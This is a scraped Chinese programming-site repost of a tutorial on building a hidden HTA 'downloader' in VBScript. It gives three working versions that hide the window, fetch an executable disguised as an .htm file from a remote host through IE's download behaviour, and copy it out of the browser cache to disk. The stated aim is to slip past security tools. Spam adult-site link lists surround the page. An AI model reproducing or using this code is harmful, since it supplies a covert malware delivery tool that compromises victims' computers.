亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > HTML > 正文

做一個困難重重的hta下載者

2020-01-25 19:36:01
字體:
來源:轉載
供稿:網友
我們用hta來寫,這個就比較少見了.hh.exe訪問網絡一般估計會放行的。寫這個下載者要解決的困難有幾下幾點
 
一、先說本blog上有兩個比較新穎的vbs下載者,一個是利用CDO.Message組件做的,另一個是用Microsoft.XMLDOM做的 。這兩個下載者一個是利用起來比較麻煩,需要事先把exe進行轉化。第二使用中cscript.exe會訪問網絡,不太隱蔽。第二個是有的機器上并不存在這兩個組件及利用到ADODB.Stream的,所以有些弊端。 
二、再來說一下lake2的下載者http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx。這個下載者算是不錯了,但是也有問題。一個是如果裝了360等其它的瀏覽器的話,會打開一個ie窗口,并且從注冊表中讀到的ie緩存位置不一定準確。 
三、那我們如何來更新這些缺陷?還是有辦法的。我們用hta來寫,這個就比較少見了.hh.exe訪問網絡一般估計會放行的。寫這個下載者要解決的困難有幾下幾點: 

(1).使hta不可見-------------》簡單,移動窗口 
(2).使hta接收命令行參數--------------》本blog上有資料 
(3).不調用上邊一、二大項所說的所有組件-----------》這個我們利用ie的默認行為 
(4).ie緩存的臨時位置---------》我用的環境變量 
(5)我們不調用任何組件-------------------》需要手動 
四、代碼(直接把參數寫在hta里) 
復制代碼代碼如下:

<script language=vbs> 
window.moveTo 4000,4000 
window.resizeTo 0,0 '使hta不可見 
set objshell= Createobject("WScript.Shell")'hta是可以直接調用WScript.Shell的,不過不能調用wscript.Createobject("WScript.Shell") 
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"/Local Settings" '根據環境變量得到下載的路徑 
set xml=document.createElement("xml")'建方xml元素調用ie的默認行為 
xml.addBehavior("#default#DownLoad") 
xml.async=0 
xml.load("http://192.168.0.10/xx.htm")'請把exe改名放到空間上,用ftp軟件上傳的話,可能不行,直接放比較好 
ShowAllFile(downpath) 
Sub ShowAllFile(Path) '遍歷查找,直接用lake2的代碼 
FindFileName="xx[1].htm" '這個也是你需要改的,如果上邊是xx.htm,這里就是xx[1].htm 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set f = FSO.GetFolder(Path) 
Set fc = f.SubFolders 
For Each f1 in fc 
If FSO.FileExists(path&"/"&f1.name&"/"&FindFileName) Then 
FSO.CopyFile path&"/"&f1.name&"/"&FindFileName, "c:/111.exe" '保存到c:/111.exe,可根據需要改動 
'document.write "[+]Download Success !" 
End If 
ShowAllFile path&"/"&f1.name 
Next 
Set FSO = Nothing 

End Sub 
window.close 
</script> 

用法是:把exe好比xx.exe改名放到空間上,然后命令行下或雙擊這個hta就可以了。 
五、另一份代碼(傳命令行參數) 
我個人覺得第四部份的代碼比較好,修改一下用就可以了。如果調用命令行參數的話,我發現還是會出現hta小窗口,下載完后才關閉,所以這不太好。代碼: 
復制代碼代碼如下:

<HTA:APPLICATION 
ID="MySampleHTA" 
Caption="yes"> 
<script language=vbs> 
on error resume Next 
window.moveTo 4000,4000 
window.resizeTo 0,0 '使hta不可見 
cmdLineArray = Split(MySampleHTA.commandLine)'這是把命令中的參數變成數組 
set objshell= Createobject("WScript.Shell") 
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"/Local Settings" '根據環境變量得到下載的路徑 
temp=LastOne(cmdLineArray(UBound(cmdLineArray)),"/") '從命令行得到當前文件名 
temp=split(temp,".")'根據.分割 
FindFileName=temp(0)&"[1]."&temp(1) 
LocalName=objshell.CurrentDirectory&"/"&temp(0)&".exe" 
set xml=document.createElement("xml") 
xml.addBehavior("#default#DownLoad") 
xml.async=0 
xml.load(cmdLineArray(UBound(cmdLineArray))) 

ShowAllFile(downpath) 
Sub ShowAllFile(Path) 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set f = FSO.GetFolder(Path) 
Set fc = f.SubFolders 
For Each f1 in fc 
If FSO.FileExists(path&"/"&f1.name&"/"&FindFileName) Then 
FSO.CopyFile path&"/"&f1.name&"/"&FindFileName, LocalName 
'document.write "[+]Download Success !" 
End If 
ShowAllFile path&"/"&f1.name 
Next 
Set FSO = Nothing 

End Sub 
Function LastOne(Str,splitStr) 
'輸入字符和分隔符,得到最后一部分 
LastOne = right(Str,len(Str)-InStrRev(Str,splitStr)) 
End Function 
window.close 
</script> 

用法是:把exe好比xx.exe改名xx.htm放到空間上,然后命令行下好比"c:/xx.hta http://www.target.com/xx.htm",這樣xx.exe就會保存到c: 
六、不調用任何組件(需手動查找下載的xx[1].htm): 
復制代碼代碼如下:

window.moveTo 4000,4000 
window.resizeTo 0,0 '使hta不可見 
set xml=document.createElement("xml")'建方xml元素調用ie的默認行為 
xml.addBehavior("#default#DownLoad") 
xml.async=0 
xml.load("http://192.168.0.10/xx.htm")' 
window.close 

七、缺點 
我這個hta下載者并不是完美的。第一是因為下載到的臨時變量我用到了ExpandEnvironmentStrings("%USERPROFILE%"),這樣在用戶環境下可用,如果是system權限下可能不正常(我猜測的,并沒有測試)。第二是因為下載成功后并沒有提示,直接用hta在命令行下顯示出回顯有些麻煩,所以我沒有做,嘿嘿。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
精品亚洲夜色av98在线观看| 成人a在线观看| 亚洲偷熟乱区亚洲香蕉av| 国产精品久久久久久久久久| 欧美精品videos性欧美| 亚洲高清一区二| 国内精品久久久久影院 日本资源| 国产福利精品在线| 亚洲va欧美va国产综合久久| 色偷偷91综合久久噜噜| 国产精品久久久久99| 亚洲欧美日韩国产中文| 久久久久亚洲精品| 久久久免费观看| 中文综合在线观看| 日本成人在线视频网址| 亚洲综合中文字幕在线| 欧美激情精品久久久久久免费印度| 亚洲成色777777女色窝| 国产伊人精品在线| 久久久久久91香蕉国产| 欧美中文字幕第一页| 欧美中文在线免费| 欧美成aaa人片免费看| 欧美日韩国产丝袜另类| 久久久女人电视剧免费播放下载| 欧美巨猛xxxx猛交黑人97人| 亚洲精品乱码久久久久久金桔影视| 日韩欧中文字幕| 欧美另类在线播放| 国外成人在线直播| 国产精品三级网站| 亚洲一区二区日本| 成人福利视频在线观看| 日韩欧美一区二区在线| 欧美综合国产精品久久丁香| 亚洲在线免费观看| 欧美精品久久久久久久| 日韩精品在线观看网站| 国模gogo一区二区大胆私拍| 成人免费在线视频网站| 亚洲精品动漫100p| 欧美寡妇偷汉性猛交| 欧美午夜精品久久久久久浪潮| 日韩在线视频观看正片免费网站| 久久99精品久久久久久噜噜| 精品久久国产精品| 亚洲人线精品午夜| 亚洲欧洲日产国产网站| 国产午夜精品理论片a级探花| 亚洲精品乱码久久久久久金桔影视| 黑丝美女久久久| 68精品久久久久久欧美| 欧美日韩免费一区| 亚洲精品国产精品乱码不99按摩| 国产精品入口日韩视频大尺度| 91成人免费观看网站| 欧美黑人极品猛少妇色xxxxx| 欧美电影免费看| 在线免费观看羞羞视频一区二区| 久久成年人免费电影| 亚洲视频在线免费观看| 欧美黄网免费在线观看| 在线观看日韩www视频免费| 国产精品免费一区豆花| 91丨九色丨国产在线| www.日韩视频| 亚洲精品99久久久久| 久久久97精品| 这里只有精品丝袜| 中文字幕国产亚洲2019| 韩国精品美女www爽爽爽视频| 亚洲tv在线观看| 日韩精品在线观看一区| 不卡毛片在线看| 日韩精品在线免费观看| 国产成人精品免费久久久久| 国产极品精品在线观看| 国产一区二区在线免费视频| 亚洲精品国产综合久久| 中文字幕亚洲二区| 色狠狠久久aa北条麻妃| 欧美亚洲一区在线| 亚洲国产一区自拍| 亚洲激情视频网站| 日韩av影片在线观看| 欧美日韩精品中文字幕| 日韩高清av一区二区三区| 岛国视频午夜一区免费在线观看| 九九综合九九综合| 日韩视频永久免费观看| 亚洲一区二区中文字幕| 色综合久久中文字幕综合网小说| 亚洲午夜久久久影院| 国产亚洲综合久久| 国产精品久久久久久久久久久久| 国产91九色视频| 久久亚洲精品国产亚洲老地址| 日韩av色在线| 成人激情视频在线观看| 成人精品一区二区三区电影免费| 欧美xxxx做受欧美| 好吊成人免视频| 亚洲一区二区三区视频| 久久久久久久久久久久久久久久久久av| 欧美一级大胆视频| 亚洲人成人99网站| 日韩av免费网站| 久久久精品视频在线观看| 亚洲网站在线播放| 成人性生交大片免费看小说| 精品日韩美女的视频高清| 欧洲亚洲免费在线| 国产欧美日韩免费看aⅴ视频| 日韩成人av在线| 日av在线播放中文不卡| 中文字幕一区电影| 日本高清视频精品| 亚洲二区在线播放视频| 都市激情亚洲色图| 久久69精品久久久久久国产越南| 日本精品视频在线观看| 欧美成人性生活| 精品亚洲va在线va天堂资源站| 亚洲第一国产精品| 日韩不卡在线观看| 日韩精品视频在线免费观看| 国产女人精品视频| 久久夜精品va视频免费观看| 欧美wwwwww| 久久精品视频一| 成人激情视频在线观看| 日韩av片永久免费网站| 成人午夜两性视频| 欧美日韩国产在线看| 久久精品91久久久久久再现| 国产亚洲精品久久久久久777| 日韩电影大全免费观看2023年上| 91国自产精品中文字幕亚洲| 国产区亚洲区欧美区| 91精品国产综合久久香蕉的用户体验| 欧美日韩成人网| 久久精品国亚洲| 久久久久亚洲精品| 亚洲精品美女在线观看播放| 欧美视频专区一二在线观看| 久久久久九九九九| 欧美成人一二三| 91久久精品一区| 国产一区二区日韩精品欧美精品| 亚洲精品国产欧美| 97人洗澡人人免费公开视频碰碰碰| 美女性感视频久久久| 亚洲精品国产精品自产a区红杏吧| 午夜精品久久久久久久久久久久| 久久久免费精品视频| 欧美日产国产成人免费图片| 国产精品2018| 亚洲精品一区中文字幕乱码| 色爱av美腿丝袜综合粉嫩av| 日本免费久久高清视频| 欧美片一区二区三区| 亚洲欧美成人一区二区在线电影| 欧美精品一区三区|